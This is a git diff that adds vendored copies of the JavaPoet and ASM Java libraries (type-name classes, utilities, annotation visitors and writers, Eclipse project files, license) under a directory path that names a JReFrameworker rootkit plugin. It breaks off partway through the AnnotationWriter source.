isAbstract = modifiers.contains(Modifier.ABSTRACT) || kind != Kind.CLASS; + for (MethodSpec methodSpec : methodSpecs) { + checkArgument(isAbstract || !methodSpec.hasModifier(Modifier.ABSTRACT), + "non-abstract type %s cannot declare abstract method %s", name, methodSpec.name); + } + + boolean superclassIsObject = superclass.equals(ClassName.OBJECT); + int interestingSupertypeCount = (superclassIsObject ? 0 : 1) + superinterfaces.size(); + checkArgument(anonymousTypeArguments == null || interestingSupertypeCount <= 1, + "anonymous type has too many supertypes"); + + return new TypeSpec(this); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/TypeVariableName.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/TypeVariableName.java new file mode 100644 index 0000000..aa4d5eb --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/TypeVariableName.java @@ -0,0 +1,167 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; + +import java.io.IOException; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +import javax.lang.model.element.TypeParameterElement; +import javax.lang.model.type.TypeMirror; +import javax.lang.model.type.TypeVariable; + +public final class TypeVariableName extends TypeName { + public final String name; + public final List bounds; + + private TypeVariableName(String name, List bounds) { + this(name, bounds, new ArrayList()); + } + + private TypeVariableName(String name, List bounds, List annotations) { + super(annotations); + this.name = checkNotNull(name, "name == null"); + this.bounds = bounds; + + for (TypeName bound : this.bounds) { + checkArgument(!bound.isPrimitive() && bound != VOID, "invalid bound: %s", bound); + } + } + + @Override public TypeVariableName annotated(List annotations) { + return new TypeVariableName(name, bounds, annotations); + } + + @Override public TypeName withoutAnnotations() { + return new TypeVariableName(name, bounds); + } + + public TypeVariableName withBounds(Type... bounds) { + return withBounds(TypeName.list(bounds)); + } + + public TypeVariableName withBounds(TypeName... bounds) { + return withBounds(Arrays.asList(bounds)); + } + + public TypeVariableName withBounds(List bounds) { + ArrayList newBounds = new ArrayList<>(); + newBounds.addAll(this.bounds); + newBounds.addAll(bounds); + return new TypeVariableName(name, newBounds, annotations); + } + + private static TypeVariableName of(String name, List bounds) { + // Strip java.lang.Object from bounds if it is present. + List boundsNoObject = new ArrayList<>(bounds); + boundsNoObject.remove(OBJECT); + return new TypeVariableName(name, Collections.unmodifiableList(boundsNoObject)); + } + + @Override CodeWriter emit(CodeWriter out) throws IOException { + return out.emitAndIndent(name); + } + + /** Returns type variable named {@code name} without bounds. */ + public static TypeVariableName get(String name) { + return TypeVariableName.of(name, Collections.emptyList()); + } + + /** Returns type variable named {@code name} with {@code bounds}. */ + public static TypeVariableName get(String name, TypeName... bounds) { + return TypeVariableName.of(name, Arrays.asList(bounds)); + } + + /** Returns type variable named {@code name} with {@code bounds}. */ + public static TypeVariableName get(String name, Type... bounds) { + return TypeVariableName.of(name, TypeName.list(bounds)); + } + + /** Returns type variable equivalent to {@code mirror}. */ + public static TypeVariableName get(TypeVariable mirror) { + return get((TypeParameterElement) mirror.asElement()); + } + + /** + * Make a TypeVariableName for the given TypeMirror. This form is used internally to avoid + * infinite recursion in cases like {@code Enum>}. When we encounter such a + * thing, we will make a TypeVariableName without bounds and add that to the {@code typeVariables} + * map before looking up the bounds. Then if we encounter this TypeVariable again while + * constructing the bounds, we can just return it from the map. And, the code that put the entry + * in {@code variables} will make sure that the bounds are filled in before returning. + */ + static TypeVariableName get( + TypeVariable mirror, Map typeVariables) { + TypeParameterElement element = (TypeParameterElement) mirror.asElement(); + TypeVariableName typeVariableName = typeVariables.get(element); + if (typeVariableName == null) { + // Since the bounds field is public, we need to make it an unmodifiableList. But we control + // the List that that wraps, which means we can change it before returning. + List bounds = new ArrayList<>(); + List visibleBounds = Collections.unmodifiableList(bounds); + typeVariableName = new TypeVariableName(element.getSimpleName().toString(), visibleBounds); + typeVariables.put(element, typeVariableName); + for (TypeMirror typeMirror : element.getBounds()) { + bounds.add(TypeName.get(typeMirror, typeVariables)); + } + bounds.remove(OBJECT); + } + return typeVariableName; + } + + /** Returns type variable equivalent to {@code element}. */ + public static TypeVariableName get(TypeParameterElement element) { + String name = element.getSimpleName().toString(); + List boundsMirrors = element.getBounds(); + + List boundsTypeNames = new ArrayList<>(); + for (TypeMirror typeMirror : boundsMirrors) { + boundsTypeNames.add(TypeName.get(typeMirror)); + } + + return TypeVariableName.of(name, boundsTypeNames); + } + + /** Returns type variable equivalent to {@code type}. */ + public static TypeVariableName get(java.lang.reflect.TypeVariable type) { + return get(type, new LinkedHashMap()); + } + + /** @see #get(java.lang.reflect.TypeVariable, Map) */ + static TypeVariableName get(java.lang.reflect.TypeVariable type, + Map map) { + TypeVariableName result = map.get(type); + if (result == null) { + List bounds = new ArrayList<>(); + List visibleBounds = Collections.unmodifiableList(bounds); + result = new TypeVariableName(type.getName(), visibleBounds); + map.put(type, result); + for (Type bound : type.getBounds()) { + bounds.add(TypeName.get(bound, map)); + } + bounds.remove(OBJECT); + } + return result; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/Util.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/Util.java new file mode 100644 index 0000000..3e6497e --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/Util.java @@ -0,0 +1,158 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static java.lang.Character.isISOControl; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import javax.lang.model.element.Modifier; + +/** + * Like Guava, but worse and standalone. This makes it easier to mix JavaPoet with libraries that + * bring their own version of Guava. + */ +final class Util { + private Util() { + } + + /** Modifier.DEFAULT doesn't exist until Java 8, but we want to run on earlier releases. */ + static final Modifier DEFAULT; + static { + Modifier def = null; + try { + def = Modifier.valueOf("DEFAULT"); + } catch (IllegalArgumentException ignored) { + } + DEFAULT = def; + } + + static Map> immutableMultimap(Map> multimap) { + LinkedHashMap> result = new LinkedHashMap<>(); + for (Map.Entry> entry : multimap.entrySet()) { + if (entry.getValue().isEmpty()) continue; + result.put(entry.getKey(), immutableList(entry.getValue())); + } + return Collections.unmodifiableMap(result); + } + + static Map immutableMap(Map map) { + return Collections.unmodifiableMap(new LinkedHashMap<>(map)); + } + + static void checkArgument(boolean condition, String format, Object... args) { + if (!condition) throw new IllegalArgumentException(String.format(format, args)); + } + + static T checkNotNull(T reference, String format, Object... args) { + if (reference == null) throw new NullPointerException(String.format(format, args)); + return reference; + } + + static void checkState(boolean condition, String format, Object... args) { + if (!condition) throw new IllegalStateException(String.format(format, args)); + } + + static List immutableList(Collection collection) { + return Collections.unmodifiableList(new ArrayList<>(collection)); + } + + static Set immutableSet(Collection set) { + return Collections.unmodifiableSet(new LinkedHashSet<>(set)); + } + + static String join(String separator, List parts) { + if (parts.isEmpty()) return ""; + StringBuilder result = new StringBuilder(); + result.append(parts.get(0)); + for (int i = 1; i < parts.size(); i++) { + result.append(separator).append(parts.get(i)); + } + return result.toString(); + } + + static Set union(Set a, Set b) { + Set result = new LinkedHashSet<>(); + result.addAll(a); + result.addAll(b); + return result; + } + + static void requireExactlyOneOf(Set modifiers, Modifier... mutuallyExclusive) { + int count = 0; + for (Modifier modifier : mutuallyExclusive) { + if (modifier == null && Util.DEFAULT == null) continue; // Skip 'DEFAULT' if it doesn't exist! + if (modifiers.contains(modifier)) count++; + } + checkArgument(count == 1, "modifiers %s must contain one of %s", + modifiers, Arrays.toString(mutuallyExclusive)); + } + + static boolean hasDefaultModifier(Collection modifiers) { + return DEFAULT != null && modifiers.contains(DEFAULT); + } + + static String characterLiteralWithoutSingleQuotes(char c) { + // see https://docs.oracle.com/javase/specs/jls/se7/html/jls-3.html#jls-3.10.6 + switch (c) { + case '\b': return "\\b"; /* \u0008: backspace (BS) */ + case '\t': return "\\t"; /* \u0009: horizontal tab (HT) */ + case '\n': return "\\n"; /* \u000a: linefeed (LF) */ + case '\f': return "\\f"; /* \u000c: form feed (FF) */ + case '\r': return "\\r"; /* \u000d: carriage return (CR) */ + case '\"': return "\""; /* \u0022: double quote (") */ + case '\'': return "\\'"; /* \u0027: single quote (') */ + case '\\': return "\\\\"; /* \u005c: backslash (\) */ + default: + return isISOControl(c) ? String.format("\\u%04x", (int) c) : Character.toString(c); + } + } + + /** Returns the string literal representing {@code value}, including wrapping double quotes. */ + static String stringLiteralWithDoubleQuotes(String value, String indent) { + StringBuilder result = new StringBuilder(value.length() + 2); + result.append('"'); + for (int i = 0; i < value.length(); i++) { + char c = value.charAt(i); + // trivial case: single quote must not be escaped + if (c == '\'') { + result.append("'"); + continue; + } + // trivial case: double quotes must be escaped + if (c == '\"') { + result.append("\\\""); + continue; + } + // default case: just let character literal do its work + result.append(characterLiteralWithoutSingleQuotes(c)); + // need to append indent after linefeed? + if (c == '\n' && i + 1 < value.length()) { + result.append("\"\n").append(indent).append(indent).append("+ \""); + } + } + result.append('"'); + return result.toString(); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/WildcardTypeName.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/WildcardTypeName.java new file mode 100644 index 0000000..eaf75c5 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/WildcardTypeName.java @@ -0,0 +1,130 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; + +import java.io.IOException; +import java.lang.reflect.Type; +import java.lang.reflect.WildcardType; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +import javax.lang.model.element.TypeParameterElement; +import javax.lang.model.type.TypeMirror; + +public final class WildcardTypeName extends TypeName { + public final List upperBounds; + public final List lowerBounds; + + private WildcardTypeName(List upperBounds, List lowerBounds) { + this(upperBounds, lowerBounds, new ArrayList()); + } + + private WildcardTypeName(List upperBounds, List lowerBounds, + List annotations) { + super(annotations); + this.upperBounds = Util.immutableList(upperBounds); + this.lowerBounds = Util.immutableList(lowerBounds); + + checkArgument(this.upperBounds.size() == 1, "unexpected extends bounds: %s", upperBounds); + for (TypeName upperBound : this.upperBounds) { + checkArgument(!upperBound.isPrimitive() && upperBound != VOID, + "invalid upper bound: %s", upperBound); + } + for (TypeName lowerBound : this.lowerBounds) { + checkArgument(!lowerBound.isPrimitive() && lowerBound != VOID, + "invalid lower bound: %s", lowerBound); + } + } + + @Override public WildcardTypeName annotated(List annotations) { + return new WildcardTypeName(upperBounds, lowerBounds, concatAnnotations(annotations)); + } + + @Override public TypeName withoutAnnotations() { + return new WildcardTypeName(upperBounds, lowerBounds); + } + + @Override CodeWriter emit(CodeWriter out) throws IOException { + if (lowerBounds.size() == 1) { + return out.emit("? super $T", lowerBounds.get(0)); + } + return upperBounds.get(0).equals(TypeName.OBJECT) + ? out.emit("?") + : out.emit("? extends $T", upperBounds.get(0)); + } + + /** + * Returns a type that represents an unknown type that extends {@code bound}. For example, if + * {@code bound} is {@code CharSequence.class}, this returns {@code ? extends CharSequence}. If + * {@code bound} is {@code Object.class}, this returns {@code ?}, which is shorthand for {@code + * ? extends Object}. + */ + public static WildcardTypeName subtypeOf(TypeName upperBound) { + return new WildcardTypeName(Arrays.asList(upperBound), Collections.emptyList()); + } + + public static WildcardTypeName subtypeOf(Type upperBound) { + return subtypeOf(TypeName.get(upperBound)); + } + + /** + * Returns a type that represents an unknown supertype of {@code bound}. For example, if {@code + * bound} is {@code String.class}, this returns {@code ? super String}. + */ + public static WildcardTypeName supertypeOf(TypeName lowerBound) { + return new WildcardTypeName(Arrays.asList(OBJECT), Arrays.asList(lowerBound)); + } + + public static WildcardTypeName supertypeOf(Type lowerBound) { + return supertypeOf(TypeName.get(lowerBound)); + } + + public static TypeName get(javax.lang.model.type.WildcardType mirror) { + return get(mirror, new LinkedHashMap()); + } + + static TypeName get( + javax.lang.model.type.WildcardType mirror, + Map typeVariables) { + TypeMirror extendsBound = mirror.getExtendsBound(); + if (extendsBound == null) { + TypeMirror superBound = mirror.getSuperBound(); + if (superBound == null) { + return subtypeOf(Object.class); + } else { + return supertypeOf(TypeName.get(superBound, typeVariables)); + } + } else { + return subtypeOf(TypeName.get(extendsBound, typeVariables)); + } + } + + public static TypeName get(WildcardType wildcardName) { + return get(wildcardName, new LinkedHashMap()); + } + + static TypeName get(WildcardType wildcardName, Map map) { + return new WildcardTypeName( + list(wildcardName.getUpperBounds(), map), + list(wildcardName.getLowerBounds(), map)); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/.classpath new file mode 100644 index 0000000..fceb480 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/.project new file mode 100644 index 0000000..f59a356 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/.project @@ -0,0 +1,17 @@ + + + org.objectweb.asm.core + + + + + + org.eclipse.jdt.core.javabuilder + + + + + + org.eclipse.jdt.core.javanature + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..3a21537 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,11 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.8 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.8 diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/LICENSE b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/LICENSE new file mode 100644 index 0000000..1a71c4c --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/LICENSE @@ -0,0 +1,27 @@ +ASM: a very small and fast Java bytecode manipulation framework +Copyright (c) 2000-2011 INRIA, France Telecom +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. +3. Neither the name of the copyright holders nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +THE POSSIBILITY OF SUCH DAMAGE. diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/bin/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/bin/.gitignore new file mode 100644 index 0000000..cf1db2e --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/bin/.gitignore @@ -0,0 +1 @@ +/org/ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/build-asm.ant.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/build-asm.ant.xml new file mode 100644 index 0000000..fbe5e81 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/build-asm.ant.xml @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/AnnotationVisitor.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/AnnotationVisitor.java new file mode 100644 index 0000000..1f173b3 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/AnnotationVisitor.java @@ -0,0 +1,145 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * A visitor to visit a Java annotation. The methods of this class must be called in the following + * order: ( {@code visit} | {@code visitEnum} | {@code visitAnnotation} | {@code visitArray} )* + * {@code visitEnd}. + * + * @author Eric Bruneton + * @author Eugene Kuleshov + */ +public abstract class AnnotationVisitor { + + /** + * The ASM API version implemented by this visitor. The value of this field must be one of {@link + * Opcodes#ASM4}, {@link Opcodes#ASM5}, {@link Opcodes#ASM6} or {@link Opcodes#ASM7}. + */ + protected final int api; + + /** The annotation visitor to which this visitor must delegate method calls. May be null. */ + protected AnnotationVisitor av; + + /** + * Constructs a new {@link AnnotationVisitor}. + * + * @param api the ASM API version implemented by this visitor. Must be one of {@link + * Opcodes#ASM4}, {@link Opcodes#ASM5}, {@link Opcodes#ASM6} or {@link Opcodes#ASM7}. + */ + public AnnotationVisitor(final int api) { + this(api, null); + } + + /** + * Constructs a new {@link AnnotationVisitor}. + * + * @param api the ASM API version implemented by this visitor. Must be one of {@link + * Opcodes#ASM4}, {@link Opcodes#ASM5}, {@link Opcodes#ASM6} or {@link Opcodes#ASM7}. + * @param annotationVisitor the annotation visitor to which this visitor must delegate method + * calls. May be null. + */ + public AnnotationVisitor(final int api, final AnnotationVisitor annotationVisitor) { + if (api != Opcodes.ASM6 && api != Opcodes.ASM5 && api != Opcodes.ASM4 && api != Opcodes.ASM7) { + throw new IllegalArgumentException(); + } + this.api = api; + this.av = annotationVisitor; + } + + /** + * Visits a primitive value of the annotation. + * + * @param name the value name. + * @param value the actual value, whose type must be {@link Byte}, {@link Boolean}, {@link + * Character}, {@link Short}, {@link Integer} , {@link Long}, {@link Float}, {@link Double}, + * {@link String} or {@link Type} of {@link Type#OBJECT} or {@link Type#ARRAY} sort. This + * value can also be an array of byte, boolean, short, char, int, long, float or double values + * (this is equivalent to using {@link #visitArray} and visiting each array element in turn, + * but is more convenient). + */ + public void visit(final String name, final Object value) { + if (av != null) { + av.visit(name, value); + } + } + + /** + * Visits an enumeration value of the annotation. + * + * @param name the value name. + * @param descriptor the class descriptor of the enumeration class. + * @param value the actual enumeration value. + */ + public void visitEnum(final String name, final String descriptor, final String value) { + if (av != null) { + av.visitEnum(name, descriptor, value); + } + } + + /** + * Visits a nested annotation value of the annotation. + * + * @param name the value name. + * @param descriptor the class descriptor of the nested annotation class. + * @return a visitor to visit the actual nested annotation value, or {@literal null} if this + * visitor is not interested in visiting this nested annotation. The nested annotation + * value must be fully visited before calling other methods on this annotation visitor. + */ + public AnnotationVisitor visitAnnotation(final String name, final String descriptor) { + if (av != null) { + return av.visitAnnotation(name, descriptor); + } + return null; + } + + /** + * Visits an array value of the annotation. Note that arrays of primitive types (such as byte, + * boolean, short, char, int, long, float or double) can be passed as value to {@link #visit + * visit}. This is what {@link ClassReader} does. + * + * @param name the value name. + * @return a visitor to visit the actual array value elements, or {@literal null} if this visitor + * is not interested in visiting these values. The 'name' parameters passed to the methods of + * this visitor are ignored. All the array values must be visited before calling other + * methods on this annotation visitor. + */ + public AnnotationVisitor visitArray(final String name) { + if (av != null) { + return av.visitArray(name); + } + return null; + } + + /** Visits the end of the annotation. */ + public void visitEnd() { + if (av != null) { + av.visitEnd(); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/AnnotationWriter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/AnnotationWriter.java new file mode 100644 index 0000000..0c19ad7 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/AnnotationWriter.java @@ -0,0 +1,418 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * An {@link AnnotationVisitor} that generates a corresponding 'annotation' or 'type_annotation' + * structure, as defined in the Java Virtual Machine Specification (JVMS). AnnotationWriter + * instances can be chained in a doubly linked list, from which Runtime[In]Visible[Type]Annotations + * attributes can be generated with the {@link #putAnnotations} method. Similarly, arrays of such + * lists can be used to generate Runtime[In]VisibleParameterAnnotations attributes. + * + * @see JVMS + * 4.7.16 + * @see JVMS + * 4.7.20 + * @author Eric Bruneton + * @author Eugene Kuleshov + */ +final class AnnotationWriter extends AnnotationVisitor { + + /** Where the constants used in this AnnotationWriter must be stored. */ + private final SymbolTable symbolTable; + + /** + * Whether values are named or not. AnnotationWriter instances used for annotation default and + * annotation arrays use unnamed values (i.e. they generate an 'element_value' structure for each + * value, instead of an element_name_index followed by an element_value). + */ + private final boolean useNamedValues; + + /** + * The 'annotation' or 'type_annotation' JVMS structure corresponding to the annotation values + * visited so far. All the fields of these structures, except the last one - the + * element_value_pairs array, must be set before this ByteVector is passed to the constructor + * (num_element_value_pairs can be set to 0, it is reset to the correct value in {@link + * #visitEnd()}). The element_value_pairs array is filled incrementally in the various visit() + * methods. + * + *

Note: as an exception to the above rules, for AnnotationDefault attributes (which contain a + * single element_value by definition), this ByteVector is initially empty when passed to the + * constructor, and {@link #numElementValuePairsOffset} is set to -1. + */ + private final ByteVector annotation; + + /** + * The offset in {@link #annotation} where {@link #numElementValuePairs} must be stored (or -1 for + * the case of AnnotationDefault attributes). + */ + private final int numElementValuePairsOffset; + + /** The number of element value pairs visited so far. */ + private int numElementValuePairs; + + /** + * The previous AnnotationWriter. This field is used to store the list of annotations of a + * Runtime[In]Visible[Type]Annotations attribute. It is unused for nested or array annotations + * (annotation values of annotation type), or for AnnotationDefault attributes. + */ + private final AnnotationWriter previousAnnotation; + + /** + * The next AnnotationWriter. This field is used to store the list of annotations of a + * Runtime[In]Visible[Type]Annotations attribute. It is unused for nested or array annotations + * (annotation values of annotation type), or for AnnotationDefault attributes. + */ + private AnnotationWriter nextAnnotation; + + // ----------------------------------------------------------------------------------------------- + // Constructors + // ----------------------------------------------------------------------------------------------- + + /** + * Constructs a new {@link AnnotationWriter}. + * + * @param symbolTable where the constants used in this AnnotationWriter must be stored. + * @param useNamedValues whether values are named or not. AnnotationDefault and annotation arrays + * use unnamed values. + * @param annotation where the 'annotation' or 'type_annotation' JVMS structure corresponding to + * the visited content must be stored. This ByteVector must already contain all the fields of + * the structure except the last one (the element_value_pairs array). + * @param previousAnnotation the previously visited annotation of the + * Runtime[In]Visible[Type]Annotations attribute to which this annotation belongs, or null in + * other cases (e.g. nested or array annotations). + */ + AnnotationWriter( + final SymbolTable symbolTable, + final boolean useNamedValues, + final ByteVector annotation, + final AnnotationWriter previousAnnotation) { + super(Opcodes.ASM7); + this.symbolTable = symbolTable; + this.useNamedValues = useNamedValues; + this.annotation = annotation; + // By hypothesis, num_element_value_pairs is stored in the last unsigned short of 'annotation'. + this.numElementValuePairsOffset = annotation.length == 0 ? -1 : annotation.length - 2; + this.previousAnnotation = previousAnnotation; + if (previousAnnotation != null) { + previousAnnotation.nextAnnotation = this; + } + } + + /** + * Constructs a new {@link AnnotationWriter} using named values. + * + * @param symbolTable where the constants used in this AnnotationWriter must be stored. + * @param annotation where the 'annotation' or 'type_annotation' JVMS structure corresponding to + * the visited content must be stored. This ByteVector must already contain all the fields of + * the structure except the last one (the element_value_pairs array). + * @param 